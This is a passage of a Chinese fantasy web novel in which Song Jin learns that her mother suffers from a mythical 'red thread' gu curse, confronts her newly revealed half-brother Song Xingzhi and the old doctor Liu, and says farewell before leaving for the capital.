宋锦站了起来,压着声音:“脉搏和往常一样,看不出任何区别,但是呼吸急促,身体虚弱,最主要的是,她说心口里好像有活物” 齐铮眉头死皱:“看样子不是我看错了” “你看到什么?那红痕吗?我娘说是她怀我那年起的,这么多年一直没变过,我也没有怀疑。但是现在突然多了一寸,心口也多了东西,这些以前都没有过,就是从你们昨天过来才有” 宋锦一步步朝着齐铮走去,一双凤眸死死盯着他,神色逐渐尖锐起来,咬着牙:“你们到底做了什么?” 齐铮垂眸,面对她的质问,依旧面不改色,静静道:“如果我没有猜错的话,你娘的身子以前应该不是现在这样,是跟着那红线一起衰弱的” 宋锦站在他面前,两人相隔仅仅一掌,近得都能感受到对方的呼吸,能清楚看到对方脸上任何一点细微的变化 两人目光对视间,无一丝暧昧,只有凌冽和肃然 听着齐铮的话,宋锦心沉了下去:“我不知道,她一直说他身子从小不好” 齐铮目光幽幽:“你可听过岭南蛊祸?” 宋锦面无表情 齐铮懂了:“相传,岭南南部生活着神秘蛊族,世代不出族地,大家一直以为只是传言,直到前朝末端,皇帝荒淫,纷争不断,不知道是谁找上了他们,将其请了出来。没人知道他们是怎么做的,最后半个岭南被瘴气笼罩,无数人因蛊祸死去。最后是宋首辅派人平定祸乱,虽然,到现在也无人知道他是如何做到的” 宋锦阴下了脸:“所以就是他给我娘下的蛊是吧?” 齐铮眼皮跳动:“……他没这个必要,你娘应该是中了红线蛊,千里姻缘一线牵,此蛊分为子母蛊和对蛊,母蛊控制子蛊,子蛊成对,会互相迷惑,中蛊之人会渐渐爱上对方,最后失去自我,都成为母蛊的傀儡” 宋锦没想到还会有这种阴险的玩意儿,有些像前世的精神控制了,她咬牙:“那我娘这种算什么?” 齐铮沉默,过了很久才道:“对蛊必须成对种上,不成对便失败。按理来说失败后对蛊会吸食蛊体血肉,让其一点点虚弱下去,不过几年便会将蛊体吸食得只剩骨皮。你娘,我猜测可能是这些年补品吃得太多,能量过于丰盛让对蛊一直沉睡” 毕竟是能拿增长内力的好东西送人的人,齐铮一点也不怀疑宋锦找好东西的实力,但凡换个人,可能早就被灌出内力了 而牛铁兰却依旧是病弱模样,可见红线蛊的厉害,不愧是岭南七蛊之一 宋锦紧紧握拳,面色沉沉:“那现在是什么情况?” 齐铮叹气:“可能是因为宋大人,他是岭南蛊族的其中一支后人,身上有蛊的气息,就是你上次烤的千里蜂,唤醒了沉睡的蛊虫” 宋锦又问:“有解决办法吗?” 齐铮摇头 宋锦扯扯嘴角:“那能解决的人呢?你不是行走江湖多年吗?” 齐铮瞥着她捏得发白的手背,轻轻叹气:“也许,宋大人可以” 这个宋大人,自然不会是还躺着的宋行之了 宋锦不知该做什么表情了,她扯着嘴角:“姓宋的在哪里?” 齐铮:“回春堂” 宋锦深吸一口气,冲着他抱拳,神色郑重而真诚:“谢了,家母身体不适,我得回去了,今日之恩,日后必定报答” 说完,她就大步跑开 齐铮看不到她的脸色,但是光看那背影,也能想象一些。想到昨日牛铁兰护人的模样,他在心里叹了叹气 宋大人,只能帮你到这里了 第26章 你爹是我爹 从县衙离开,走在熙熙攘攘的路上,宋锦的心情突然就平静了下来 虽然牛铁兰的身体状况暂时无法解决,但是现在至少知道病因了,不至于再像以前一般无头苍蝇乱撞,就知道硬补硬躺 蛊啊 末日的时候也有像类似的虫,不过那是自然形成的具有特殊能力的飞虫,只是单个的话,他们的杀伤力不比普通虫子厉害多少,但是一旦它们成群结队,一旦进入人体,便是最难治理的 好些人被虫穿入后,宁愿断手断脚,也不远回去等待治疗,那个过程太难受,也太煎熬了,但是总归是能救的 宋锦就不信在这普遍异能都如此低的地方,会产生比上辈子更可怕的虫子,想到这里,她的心情好受了几分,深吸一口气,拉着小黑朝着回春堂走去 想到宋行之那个罪魁祸首,她还是恨得牙痒痒的 早知道她就出手再重一点了,那个混蛋 …… 作为县里最好的医馆,回春堂每天都人来人往,病人不断,没有清闲的时候。老刘头作为馆长,只要没有特殊情况,他基本天天待在馆里,有疑难杂症、重症病者他就出手,没有的时候他就坐在内堂编纂医书试新药 他是御医出生,有自己的傲骨,只要病人不是快病死了,他绝不上门看病,就算是县令也不会让他更改注意,更别说一个从都城来的不知名的‘大人’了 宋行知此刻就躺在狭小的病床上,身上被扒了个干净,全身上下插满了银针,让他一动不能动。他生无可恋地动着嘴皮:“大夫,我不会死吧?” 老刘头嫌弃:“扎两针就好的事,这么个男人娘们唧唧的,脑袋别动,我要扎针” 宋行之看着那手指长的银针,下意识闭上眼睛,皱着一张脸:“脸上也要扎吗?难不成我头也受伤了?完了,我不会变傻了吧,大夫,我后脑好疼,完蛋,不会真的傻了吧,我还没有给我老宋家传宗接代呢……” 老刘头从医这么多年就没有见过比宋行之还要嘴碎的人,烦得他直接一针扎偏,整个内堂都安静了下来 老刘头满意了,静静地把下面几针都扎完,然后对着动不了也说不了话的宋行之:“行了,一刻钟后我再给你拔针” 宋行之努力转着眼睛:说话说话,他怎么说不了话了 “你太吵了,有碍治疗,等针拔了以后就好了,不用担心。你这内伤不严重,就是五脏震了下,我开点药你吃半月就好了,脑袋疼是倒地的时候磕到了,有些淤血,过两天按一按就散了,傻不了” 老刘头摸摸下巴,啧啧称奇:“倒是这些外伤,虽然都是皮肉,但这下手之人用了巧劲,又了解穴位,招招不致命,就是疼,得硬熬一阵子,你这是得罪了谁啊。” 宋行之睁大眼睛:什么叫他得罪了人,明明是那泼妇不讲道理 见他这般,老刘头心道他挨揍也不奇怪,摇摇头:“你就好好养着吧,虽然这些外伤不影响,但我看你精气有所不足,肾脏阳虚,该是近来生活有所放纵,不好好养一养,以后传宗接代真不好说。” 宋行之疯狂眨着眼睛使着颜色:污蔑污蔑,这段时间他忙得每天都睡不了 两个时辰,哪里有时间风花雪月?他这是累的,纯累的 老刘头看不懂,只不过之前听着他说话觉得吵耳朵,现在看着就变成吵眼睛了,他揉了揉自己的老花眼,略带嫌弃 “你就好好躺着吧,一会儿我再过来” 实不相瞒,除了那个死丫头,他对于姓宋的人都有偏见 而宋行之躺在那儿,看着他就要走了,疯狂给一边的同伴使眼色,别让他走啊,虽然这老头看起来不太靠谱的样子,但是这一身针地躺在这,没个大夫更让人不放心咧 他这个人很惜命的 ‘同伴’李青山抱着长剑,默默挪开眼睛,对着老刘头掏出银钱递过去:“辛苦刘大夫了” 老刘头对他的识趣很是赞赏,一点也不推辞,直接接过银钱,道:“这钱我就放进救济银里,老夫替那些穷苦病人感谢二位了” 听罢,李青山再次打开钱包,从里面掏出二两银子过去,夸:“刘大夫仁义,既是为穷苦病人,这些便有劳您了” 老刘头:“尽尽绵薄之力罢了” …… 两个人便站在那里互相夸了起来 毫无人权的躺在那的宋行之看着自己的钱包,眼泪都快流下来了,那是他的银子啊 但是无人理他 老刘头和李青山搭着话,看着抱着见沉默寡言的李青山,他心里隐隐有了猜测 这是皇家侍卫 他也做了多年的御医,这点眼力见还是有的,就是不知道这是皇室哪一家的——虽然都和他没有关系,不过敬着点总是好的 一番寒暄,老刘头觉得也差不多了,正想结束谈话,病房的门砰一下被踹开 “……死丫头”老刘头都不用转身,光是听这死动静就知道来人是谁,他没好气地转头,就被宋锦此刻的样子吓了一跳,“这是怎么了?” 只见向来嬉皮笑脸游刃有余的宋锦脸上汗水淋淋,一头如墨的秀发披散,被汗水打湿大半,很是凌乱,她紧绷着脸,抿着唇,气势汹汹,一看就是找茬的样子 她甚至都没有回答他,直直就朝着病床边走去,肉眼看着都杀气腾腾 动不了也说不了的宋行之瞪大双眼:救,救命 李青山默默上前,拿起一旁的衣服往他胯前一盖,保护好小姑娘的眼睛,他就往后一退,半点不关心宋行之的死活 宋行之:…… 死人堆里爬出来的宋锦毫不在意宋行之裸不裸着,直接走到他面前,在他惊恐的目光中,伸手拔掉他哑穴上的银针 “咳咳咳你,你” 银针一取,宋行知便得到了解放,就是嗓子有些沙哑说不出话来,他咳了几声,刚想说话,脖子又被狠狠掐住,他对上宋锦恶狠狠的目光 宋行之能屈能伸,扯着嘴角:“你,你怎么来了?我伤的也不严重,就不劳你探望了” 宋锦没有和他寒暄的想法,沉着脸:“我问你答,别给我耍花招,不然我就掐死你” 宋行之再是泥人也来了三分气,更别说他本就不是泥人,他冷笑:“掐死我?你知道我是谁吗?你一个白身,这次伤我这般,我不和你计较就就该烧香拜佛了,还敢来威胁我?我但凡参你一招,就够你牢底坐穿了” 宋锦手中力道加重,面无表情:“有本事你就送,实不相瞒,我也是才确定,你爹确实是我爹” 有点绕,宋行之理了理,面色一僵,旋即变了脸,顶着一张满是针的青紫脸,立马变脸:“小妹想问什么直问,哥哥绝对知无不言” 什么套麻袋故意伤人的,兄妹之间的打闹能叫伤人吗? 宋锦手中力道无意识加重:“知道红线蛊吗?” 宋行之有些喘不过气:“知,知道,但,但,轻点” 宋锦被他这个样子恶心到了,收回手在一边擦了擦:“说” 宋行知还想问问她怎么会知道这个,但是看着她阴沉的脸,识趣地闭嘴直接说事,回道 “红线蛊是岭南七蛊之一,说是情人蛊,但其实是杀蛊。但凡母蛊,皆需要上千只红虫互相残杀才成,每只母蛊一生能诞十只对蛊,控制五对情人。此蛊虫最开始便是为了惩戒私逃族地的族人,让他们在最爱的时候不知不觉杀死对方,看着对方红颜枯骨,十分残忍阴险。” 宋锦脸色越发难免:“怎么解” 宋行之打量着宋锦的模样,心理隐隐有了揣测,心下一沉,摇头:“无解,此蛊本就为惩戒而生,没有解决的办法,至少我没听过” 宋锦压着怒:“不能把那虫子引出来?” “那是蛊不是虫,一旦被安上,它便迅速钻进心肺,百日内和对蛊互相蛊惑宿主,最后由最爱的一方下手杀死对方,至此,对蛊成单,又化为无数小蛊,啃噬血肉,只剩皮骨。最可怕的是,整个过程,被下蛊人都意识清醒” “岭南七蛊,蛊蛊无解” 说着,一直无法动弹的宋行之半坐起身,在众人惊异的目光中,伸手拔掉穴位上的银针,苦笑着问:“中蛊之人是你娘?” 宋锦紧抿着嘴,脸色难看得不成样子 不用她回答,宋行之也有了答案,他的心情也沉重了下来 其实之前找上门去,宋行之也并不觉得宋锦是他爹的孩子,也并没有那么在意这个乡野村姑 只不过宋锦和宋商长得太相似了,为了他爹的名声,为了这倒霉孩子日后不那么倒霉,他怎么也要把人带回去 当然,打探清楚情况,确保这不是专门针对他爹的阴谋,那就更必要的 在听到红线蛊之前,宋行之都是这样认为的,有了红线蛊掺杂,事情就没那么简单了 蛊,又是蛊 宋商这些年没有亲生的孩子,一个是他不信任任何人,不让任何女人近身,二一个就是当年被被下了绝子蛊 准确点应该是说他当年被乱七八糟的吓了一大堆蛊,最后只有这个起了效果——反正宋行知是这么觉得的,但是也没法验证,毕竟他爹没孩子,这事儿真不好说是哪一种 但不管是哪一种,他有亲子的含义还是不一样的 宋行之脸上没有了往日的浪荡之态,他端着脸,问:“红线蛊最为标志性的就是中蛊之人身上多了红线” 宋锦:“她身上有,我一直以为是胎记,如今突然长了一寸,我才发现不对” 宋行之思索:“现有两寸?” 宋锦点头 宋行之道:“按理来说,不管对蛊成不成功,中蛊之人都会在百日内死去才对,她这个也太长了一点,平日有什么特殊的症状吗?” 宋锦皱眉:“她身子虚,每隔一阵子就会病一段时间,生病时脉搏时强时弱,除此没有特殊表现。倒是这次你一来,她便倒下,心中蛊虫也活跃起来了。” “……” 宋行知真的很想喊冤,这怎么也能怪到他身上啊,又不是他下的蛊,但是这事还真说不清楚,他仔细想想,眼皮跳动,尴尬 “可能是我身上千里蜂的味道把它唤醒,红线蛊喜欢吃千里蜂。” 红线骨是一种十分阴毒的的蛊虫,以其他蛊虫为食,越珍贵的越喜欢。刚好,他的千里蜂就是它最喜欢的小零食了 千里蜂培育需要各种珍贵秘药,又没什么攻击性,可以说是所有蛊虫都喜欢吃的 听到这,宋锦冷笑一番,恶狠狠的盯着宋行之 宋行之摸摸鼻子:“这也不能怪我吧,事前我哪知道啊,而且这蛊虫早晚会醒的” 宋锦才不管他醒不醒呢,反正都是这人的错,她恶狠狠伸出手:“拿来” 宋行之懵:“拿什么?” 宋锦:“千里蜂” 宋行之立马警惕起来:“你干什么?,你已经杀了我一个小金了,你知道我培养一个小金有多难吗?” 很好,罪加一等 宋锦直接伸手重重揪住他的头发,磨着牙恶狠狠:“拿不拿?还有把那破名字给我改了,叫谁小金呢?” “疼疼疼疼”眼看着再不认怂,头发都要被揪下来了,宋行之眼皮一跳, “停停停,行,给,我给,你快给我停手” 宋锦这才松手,继续冲他张着手,白皙的指间黑色长发十分显眼 宋行之就更心疼了,苦着脸打开衣服,从里面找出一截手指长的竹筒递了过去:“这可是我养了很多年的千里蜂啊” 宋锦才不管呢,接过那竹筒打开,看着里面两只圆滚滚的蜂子,心里稍微舒坦了一点,但还是不够 “就这点?” 宋行之倒吸一口凉气:“你当这是大白菜吗?还就这么点?你都不知道这玩意儿养起来多费功夫,你别看它小小的,一对培育成本都得几百两。那些密药难找就算了,还得我用血来养” 说着,他面色一僵,有些痛苦地抬头,果不其然对上了宋锦若有所思的目光,他再次倒吸一口凉气,往后挪了挪,这次是真怕了 “你要干什么?这是家族秘方,纯秘方,不是我的血的问题啊,救命,救命……” 病房里总共就宋行之宋锦,还有李青山老刘头四个人 李青山属于只要宋行知不死就不会多事的人,老刘头那肯定是站在宋锦这边的,尤其是听了半晌,他也有了大致的了解,眼看着宋锦直接把人箍住,不用她开口,他便拿着竹筒小刀过去帮忙了 宋行之咬牙:“黑店,你们这绝对是黑店,简直是狼狈为奸、沆瀣一气……” 宋锦就当没听见,等到取好了血,她才把人放开:“行了,别乱嚎了” 说着,她难得‘贴心’地把银针重新给他插上 宋行之一把瘫回床上,满脸生无可恋:“我确定了,你绝对是我爹的女儿,绝对不会有错” 这不干人事的模样,一模一样 宋锦瞥他:“过奖,我和他老人家比起来应该差远了” 她再是恶名远扬,也就只是在镇上耍耍威风,在县里小范围有点名气,不比宋商,那奸臣的名头臭名昭著,甚至能名留青史,遗臭万年 她和人比,那绝对是登月碰瓷 宋行之听懂她的深意,嘴角一抽,他捏着鼻子,发自内心道:“你还年轻啊” 这以后的事情谁说得准啊,她绝对有这个潜力 宋锦直接给了他一个白眼,走到老刘头的旁边:“看出什么了吗?” 老刘头摇头:“天下之大无奇不有,到底是我见识太少了,这么多年也没看出你娘的真实问题” 宋锦拍拍他的肩膀,安慰道:“没关系,你这么大年纪,看不出也正常好” “……死丫头”老刘头忍了半天还是没忍住,低骂两声,“你娘现在什么情况?” 宋锦叹气:“下不了床,没力气,很难受” 老牛头皱眉:“听起来和以前差不多” 宋锦苦笑:“但以前也是这玩意儿作祟啊” 老刘头沉默 这倒是,这鬼玩意儿一日不除就一日让人不安心,但是现在他们就连知道这东西是什么都是从别人那得知,就更别说治理了 老刘头死死皱眉,回忆自己认识的人,突然想起:“我以前当御医的时候认识一人,他就很喜欢这些稀奇古怪的东西,后面也因为提出用虫子治病被赶了出去” 宋行之躺在一边,幽幽:“原来你还真是老御医啊” 至于为什么作为御医会沦落至此,瞧瞧这服务意识,宋行之已经亲身验证了。他就没见过比这老头还差的大夫,但凡自己身体差点都得被他俩玩死 老刘头瞪眼:“不是真的还能是假的吗?老子是货真价实的一品御医” 宋行之:“那你怎么跑到了这?都城待着不舒服吗?” 老刘头眉眼一沉,恶狠狠:“还不是怪那奸臣宋商,要不是他,老夫能离开都城?” “……” 听到这话,宋行知和宋锦下意识对视了一眼,然后默默挪开眼睛,若无其事地转移了话题 宋行之:“刘大夫你说的那人我知道,他后面在都城开了个医馆” 宋锦:“瞧瞧,瞧瞧,同样是从皇宫出来,人家在都城开,你在这小破地方” 宋行之又补充:“……被人砸了” 宋锦立马变脸:“老刘头还得是你,离开那破地方是明智的选择” 两任一唱一和的 老刘头狐疑地看向宋锦:“你怎么怪怪的?干什么心虚事了” 宋锦立马垂眸,藏住眼中的心虚,装模作样擦擦眼角:“哪儿呢,我就是担心我娘的身体” 担心自然是担心的,但是她娘病才爆发,她要是就要死要活的,日子那才真是不用过来 最起码现在,知道是什么病因了 岭南七蛊是吧? 无解是吧? 等她把那什么所谓族地掀个底朝天,她就不信还解决不了这个问题 刘老头信了,安慰她:“肯定会没事的,我一会儿就去给那曾经的同僚写个信问一问,他认识这方面的人肯定也多,你娘肯定会没事的” 宋锦扯了扯嘴角:“不用了老刘头,我过段时间直接带我娘去都城看” 她无所谓宋商这个爹,但是他是现目前她知道最懂这方面的人,也可以说是最为神通广大的人,她需要他帮忙 不帮? 抱歉,在她没有这个选择 宋锦对此行势在必得 老刘头看着她这模样,也想起他们刚才的对话,反应过来:“等等,你别和我说你是和这小子一起走?你是不是被这小子给忽悠了?你娘就你一个孩子,你爹早死,你哪有什么哥哥啊,这人一看就不是好东西……” 宋行之躺在那里,很是唏嘘 想他堂堂科考探花,户部侍郎,在都城走到哪都是被一堆人=恭维的,到了这里倒是人见人嫌了 他郁闷:“我怎么就不像好人了?我可是她哥,我还能害她不成?” 老刘头冷笑:“那谁说的好?你说你是她哥就是她哥了?她是我看着长大的,她有没有哥哥我还能不知道?再说了,不说这事真假,就算真的是,你们这些世家卖女儿卖妹妹的还少了?” 虽然他嘴里总是死丫头,死丫头的叫着,但是宋锦可是他看着长大的,也是他半个徒弟,他哪能由着人随随便便就走了 这丫头性子直爽,就是脑袋不太好使,指不定就被这些人给诓了,他得替人好好把关 “我看你也有模有样的,是都城哪家的?今天要是不说个清楚,我就得去肖县令那里告你”老刘头护犊子地站在宋锦面前,一把年纪了,努力挺直腰背,努力睁大被皱纹压垮的眼睛,锐利而警惕地看着宋行之,气势汹汹、掷地有声道 “诱拐良家少女” 在场所有人:…… 第27章 你心上人? 宋锦今年15,距离及笄还差一年,确实是个正儿八经的小少女 至少年龄上是这样的 在外貌上,她属于大气明艳的那一种,十二三岁便长成了大人模样,在同龄的黄毛丫头中格格不入,现在十五岁的她一头长发乌黑如墨,又宛如水瀑顺直,给本就明艳清丽的她增添了不少攻击性 尤其是她那双凤眸,明亮又敏锐,像是镜子一般,让人轻易不敢直视 没有人会将她和少女这词联系到一起 宋行之深深沉默,在老刘头警惕的目光下,他长长叹气,看向老刘头的目光带上了同情:“我不说是为了你好” 他是真的为老刘头着想啊,但是在老刘头看来,他这个反应就是心虚 老刘头冷笑一声:“老夫行得正坐得直,就算你是皇家出身,我也不怕。别藏藏掖掖的,赶紧说吧,说不出个一二,那就县衙见” 宋锦站在老刘头的身后,看着这比她矮了一个脑袋还护着她的老头,心里暖暖的,又有些不是滋味 这好好的师徒关系突然变成世仇了,不会把这老头给气死吧? 她轻咳一声,语重心长:“老刘头,事情我都已经处理好了,你就别担心了。我办事你还不放心吗?” 瞬间,老刘头警惕加重,伸手指着宋行之,厉色:“快说” 宋锦:“喂” 面对老刘头的不信任,宋行之只得无奈抱拳:“在下宋行之,家父,宋商” “……” 现场像是按下了暂停键,没有一点声音 宋锦足足等了五分钟,老刘头还是跟雕塑一样一动不动,她忍不住伸手戳了戳他的背,没反应,再瞅瞅还是没反应,她只能揪揪他的头发 老刘头这下动了,他一把拍开的手,就跟没事人一样,继续指着宋行之,中气十足的喊道:“你凭什么说这死丫头是你妹?” 宋行之摸不准他的意思,小心斟酌道:“她,长得和我爹很像” 老刘头眯起眼睛:“有多像?” 宋行之迟疑:“……七分” 听完这话,老刘头慢吞吞转身,双手背在身后,眯着眼打量着宋锦这张他从小看到大到脸,想起了从前 从老刘头爷爷的爷爷开始,他们家便是从医的,而他更是家里这一代最有天赋的人,还靠自己考上了御医,进了皇宫。但前朝皇帝荒淫无度,后宫乱成一团,他们这些御医也名存实亡 直到新朝建立,他好不容易有了表现机会,从一群御医中脱颖而出,却又卷进了案子,被打入大牢 负责审问他们的就是宋商 那年他一袭暗金长袍,踏着金光,一步步走进阴暗的大牢 当年还年轻的老刘头刚抬头看了一眼,就被猩红的血糊住眼,至此再也不敢抬头。那年入狱太医五人,最后只他一人踉跄回家,其他的人,在老刘头面前变作断肢残渣 此后很多年,老刘头连银针都拿不起 是他娘带着他离开都城,重新从一个乡野村医做起,一点点捡起医术,最后因缘巧合下在泗安县落了脚,这些年过着普通平静的生活 老刘头以为都城的那些往事离他很远了,他以为他这辈子应该再也不会和那个恶鬼一般的男人有接触 没想到啊没想到 老刘头就这样看着宋锦,就像第一次见她一般,看得宋锦心里发虚,怀疑这老头被气疯了 她缩了缩脖子,正想安慰人一番,却见刘老头突然拍手大笑,然后一巴掌重重打在宋锦圆圆的脑瓜子上,打得她一个猝不及防??? 宋锦震惊地瞪大眼睛,小嘴微张,又被揪住了耳朵 老刘头咬牙切齿:“我就说为什么每次看到你这死丫头手都有些痒,感情是因为这啊。好啊你个死丫头,藏得可真深,把我当猴溜是吧?哎哟哟,我打死你个死丫头,怎么不还手啊,有本事你还手啊……” 但凡换个人这么干,宋锦得把他连手带腿都掰折 但是这会儿,她咬着牙忍了 这老头这么惨了,她让一让他 再让让吧 再让让 宋锦站在原地,努力地忍耐着,忍耐着,最后忍无可忍,一个转身跳到最角落的桌子上,一脚扫飞桌子上的杂物,双手叉腰 “老刘头你够了,别以为我不知道你在趁机报仇,有本事你去找那大奸臣啊,走,到时候跟我一起走,我带着你直接揍他去” 想想那个画面,老刘头的脸抽了抽,狠狠的瞪了瞪宋锦,甩了甩手往后一背 “死丫头,想要我死就直说。走了,我一个乡野大夫可管不了你们那么多,你爱怎么就怎么。走了,我可不像你,我一天天忙着呢” 宋锦松了气,双手抱胸,抬着下巴:“我走了以后你别太想我,等我娘好了我就回来。” “别把自己玩死了让我给你收尸” 老刘头停在门口,最终还是没有回头,说完大步朝外走去,看着是不打算再管这事了 宋锦看着那门轻轻关上,在桌上站了好一会儿,她才轻轻抬脚,顺势一屁股坐在桌子上,一脚踩着地,另一只脚则踩在桌上,姿态随意又吊儿郎当。 她顺手拿起一边翻了的党参片叼在嘴边,声音含糊的问了起来:“你们什么时候走?” 宋行之看不了这种坐姿,扶额,叹气:“快则三天,慢则一旬,你这边有什么需要交代的便尽快吧,到时候跟我们一起回去。泗安县到都城需要半月,路途遥远,路上并不安全。虽然说可以找镖局陪同,但是和训练有素的侍卫没法比” 宋锦撇了撇嘴,刚要反驳 他又道:“你身怀武艺自然不惧,但是你娘呢?还是说你要将她留在这儿?” 宋锦变脸:“想都别想,我到哪里我娘就到哪。” 宋行之:“这不就对了?而且她身上的红线蛊具体不明,越早就医越好,泗安县到底还是小了些,靠谱的大夫也少。” 比如说这边这个前御医,他这病人在这儿又是被扎又是挨打,躺半天到头来伤势加重,这人也不给他看看 宋行之对泗安县的大夫没有半点信任,他加大筹码道:“京都能人辈出,医书更是无数,里面总能有些蛛丝马迹。还有爹,他对蛊颇有研究,或许有办法” 宋锦没有说话,都城她肯定要去,她也无惧陌生的环境和生活,更无所谓这边置办的所有东西,她只在意 她娘能不能过好 宋商就是最大的不确定因素 宋锦静静地看着宋行之:“他真的会有办法吗?” 宋行知不能确定宋商是否有办法解决红线蛊,但是他能确定:“我爹他不会眼睁睁看着他孩子的娘死去” 有这句话就足够了 宋锦跳下桌子,拍拍裙子:“最晚后天,我会带着我娘过来,一起的,还有两个丫头两个小厮,没问题吧?” 宋行之靠谱道:“没问题,再多几个也无妨,我会安排好车马” 听到车马这词,宋锦才想起家里还有小动物,她转身迟疑:“还有一只骡子和一个大猫” 天真没见识的宋行之完全不觉得这话有什么问题,心道宋锦到底还是小姑娘,还养猫,再瞧瞧她这带点东西都要问的模样,他露出一抹发自内心的笑,打包票 “没问题,你想带什么就带,带得下” 宋锦也露出了发自内心的笑,打了个响指,潇洒又张扬:“行,那就这么说好了,我先走了” …… 走出病房,宋锦没有再见到老刘头 她知道这人肯定是躲起来了,不管他面上怎么表现,宋锦知道,他肯定是不赞成她去都城找宋商的 这个人太危险了,靠近他就是靠近漩涡 但是没办法,即便他的身旁是刀山火海,宋锦也必须去闯一闯 她走出医馆,看着外面的蓝天白云,深深吸了口气,然后张开双手伸了个懒腰,露出大大的笑容 “呼,还是个大晴天呢” 笑完,她牵起一边的小黑朝着文渊书院那边走去 马上就要走了,还是告个别吧 因为宋锦也说不好,这会不会是最后一次见面 ** 院试刚结束没两天,文渊书院周边比往日更热闹几分 没把握考上的人努力看书,想着下次考好点;有把握的人更要抓紧时间,争取两个月后的乡试 宋锦一路走来,看到了不少熟悉的人,光是看脸便能看出考得如何。她想到了自己的小伙伴,上次来人还说要跟着考试呢,也不知道考得如何 她加快步子朝着书铺走去 书铺里面人来人往,一走进来,她就看到了春风得意的舒老爷子,他在那边和人说着话,脸色红润,就差把喜事写在脸上了 宋锦好奇凑上去:“老爷子,今天心情好啊” 舒老爷子被他吓了一跳,吹胡子瞪眼:“走路没声吗?” 宋锦耸肩:“是您说的太认真了,舒程浩呢,怎么没看到他?” 说起孙子,舒老爷子脸上露出了骄傲的神色:“他在家里看书呢” 宋锦挑眉:“哟,这院试不都考了吗怎么还看书?” 舒老爷子气:“死丫头你什么意思,什么叫院试考了还看书?这不是还有乡试会试?让你平日多看点书,你不听,真是什么都不懂” 宋锦:“……行吧我不懂,您继续看,我去找舒程浩” 见她要走,舒老爷子赶紧拉住她:“找什么找, 他在家里看书呢,你别去打扰他,等考完了再找他” 宋锦停下来,上下打量着老爷子,迷惑、狐疑、震惊:“不会吧?他考上秀才了?老爷子,这可是抄家的重罪啊,您可不能犯糊涂” 不怪宋锦看不起自己的小伙伴,实在是想象不到啊 他俩可是狐朋狗友啊,文化程度她自我感觉都差不多咧 舒老爷子吹胡子瞪眼:“你以为他跟你一样,天天只知道逗猫遛狗呢?你没来的时候,他天天都在家认真温书” “……确定不是问的话本?”在舒老爷子的怒瞪下,宋锦摆手认输,有些无奈道,“行吧行吧,我不说就是了。我这次过来是来向你们道别的,既然他正认真准备,我也不去打扰他。你替我和他说一声,日后有缘都城再见” 舒老爷子错愕:“你去都城干什么?” 宋锦耸肩:“带我娘去那边看病,可能几个月,可能几年也可能一辈子,反正你就那样吧” 舒老爷子皱眉:“从县里去都城的路怎么也得大半个月,路上可不安全,等到了都城吃喝也不便宜,你们去到那边如何生活?都城厉害的大夫肯定比这边多,但是都城有权势之人如过江之鲫,如何轮得到你们母女?” 他虽然不喜宋锦带坏自己孙子,但是对人到底没有恶意,还是发自内心的劝告:“刘大夫御医出身,就是都城也没多少人比他更厉害的,我看你们还不如留在这里慢慢养着” 如果牛铁兰只是体弱多病的话,宋锦也认可舒老爷子的话,但是她不是啊,她中的是蛊,只有都城和岭南有治好的希望 宋锦笑了笑:“你的好意我心领了,但是我去意已决,路上行程和都城那边我已经安排好了,您无需担心。” 舒老爷子哪儿能不担心啊,他皱眉:“你怎么安排的?那些游商镖局大多混乱,你们孤儿寡母的,哎,算了,你这丫头也倔,我一个外人也劝不了你。你真的要去的话,过段时间我们书铺合作的镖局有要去都城的,我帮你联系一下” 宋锦笑:“您放心吧,我走的肖县令的路子,跟官府的人一起走” 舒老爷便没劝了,这年头,要是和官府的人出行都不安全,那就真没有安全的了。 他叹气:“那你们保重,浩哥儿那边,我会和他说的” 意思就是让宋锦别去找舒程浩,担心影响人考试 宋锦笑了笑,冲着人行了个礼告别,离开了这间自己以前来过无数次,以后应该不会再来的书铺 她一直认为,人和人之间相处看缘分 有缘自会相见,无缘,那就无缘吧 …… 走出书铺,宋锦便打算直接离开 她过来是和舒程浩这个狐朋狗友告别的,毕竟她这一走,他们以后很大可能不会再见 至于旁边的严盛,宋锦没打算找人 一是这人读书这般厉害,不说考上进士,但是考上举人去都城参加会试是一定的,没什么好告别的 二是,小耳昨晚上的话还在耳边 她和他的婚事? 没这回事 绝对、肯定、必须一点没有啊 他们两虽然说是一起长大的,但是从小,一个认认真真读正经书,一个热爱乱七八糟的杂书,一个静,一个动,那是说话都说不到一起的,感情也就是一起长大的感情,没多的了 宋锦以往一直觉得她老娘对人这么好是提前下注,以后好抱大腿,现在想想,她鸡皮疙瘩都快起来了 这事真不成 一点都不成 她看严盛就跟看那《史记》似的,眼中毫无波澜,甚至越看越无欲无求。和严家人就更别说了,纯粹八字不合,做不了一家人 于是,从书铺出来的宋锦就跟做贼似的,牵着小黑就想跑 但是这人吧,越怕什么越来什么 宋锦还没跑两步呢,就和穿着学子服的严盛对了个正着,她吓了一跳,但是很快就开心了起来。因为严盛旁边还跟着个美娇娘,那娇娇滴滴穿金戴银含羞的模样,一看就有点什么 她先下手为强,抢先一步惊道:“哇,严大哥你旁边的小娘子好生漂亮,莫不是你的未婚妻?什么时候定的好事啊,我都没听说,你可真不够意思,藏得真紧” 严盛本来还很高兴看到宋锦了,听她这么一说,脸色大变,忙道:“不是,不是,你别乱说,我和她没有关系。这位姑娘是,是,我之前帮了她个忙,她人客气,过来感谢” 宋锦笑了起来,意味深长:“这样啊” 严盛便知道她误会了,继续解释:“金金你别误会,我和她真的没关系,我喜欢” 这下轮到宋锦脸色变了,她立马打断人,咧嘴笑:“对了,刚巧遇到你,那我就提前跟你说了,我和我娘过几日就要走了,希望下次见面的时候,你已经是官老爷了” 严盛怀疑自己听错了,有些茫然:“走?走哪里?” 宋锦:“去都城,我娘在那边的亲人找了过来,我们打算搬过去,以后应该都不会回来了” 这个不一定,但是必须和他这么说 她和严盛没可能,那就直接断干净点,免得以后提起来奇奇怪怪的 她笑:“这些年我和我娘都亏你们照顾了” 严盛急了:“为什么要走?是有人欺负你们吗?什么亲人?这么多年没找过你们,现在找上来,万一是骗子呢?万一不怀好意呢?” 宋锦:“放心,是肖县令牵的头,他的为人你还不放心?” 肖县令是块砖,哪里有用哪里搬嗯 肖县令在泗安县为官多年,在民间十分有威信,大家对他都很信任,严盛也不例外,他就是更茫然了 “那,那你们,就走了?” 宋锦:“嗯,过两天就走了” 严盛嘴唇微动,神情有些无助:“那我,我,我请个假回去,我” “不用,严大哥,乡试在即,还是考试更重要。我和我娘有小眉她们,能搞得定。”宋锦打断他,笑容嘻嘻哈哈,眼神却格外认真 